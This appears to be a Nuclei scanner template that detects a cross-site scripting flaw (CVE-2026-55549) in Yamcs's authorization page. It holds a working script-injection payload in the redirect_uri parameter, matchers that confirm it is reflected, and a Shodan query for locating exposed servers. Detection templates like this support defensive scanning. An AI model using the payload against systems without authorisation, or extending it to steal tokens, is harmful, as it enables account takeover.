Yamcs <=5.8.6 - Cross-Site Scripting

id: CVE-2026-55549

info:
  name: Yamcs <=5.8.6 - Cross-Site Scripting
  author: str4k3r
  severity: medium
  description: |
    Yamcs < 5.9.4 contains a stored XSS caused by inadequate HTML escaping of attacker-controlled redirect_uri parameter in authorization template, letting attackers execute JavaScript to steal authentication data, exploit requires user to open crafted URL.
  impact: |
    Attackers can execute JavaScript in victim's browser to steal authentication tokens, leading to account compromise.
  remediation: |
    Update to version 5.9.4 or later.
  reference:
    - https://github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c
    - https://github.com/yamcs/yamcs/commit/4d47d5cdcf5d92c2c5bbbc19feada422923332e3
    - https://github.com/yamcs/yamcs/releases/tag/yamcs-5.9.4
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55549
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-55549
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: yamcs
    product: yamcs
    shodan-query: 'title:"Yamcs"'
  tags: cve,cve2026,yamcs,xss,reflected

http:
  - method: GET
    path:
      - "{{BaseURL}}/auth/authorize?client_id=yamcs-web&state=stable-state&response_mode=query&response_type=code&scope=openid&redirect_uri=https%3A%2F%2Fexample.com%2Fcbi0i7y\"><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="https://example.com/cbi0i7y"><script>alert(document.domain)</script>"'
          - 'value="yamcs-web"'
        condition: and

      - type: status
        status:
          - 200

      - type: word
        part: content_type
        words:
          - 'text/html'
# digest: 4a0a004730450220049660917c6d33b9718752c52af10e0d24279b47eb84020ab1d12ce72b8df319022100bf07374f340cce922d68423d8d07669aa691838f87ccd8e98897cd21a6d22bae:922c64590222798bb761d5b6d8e72950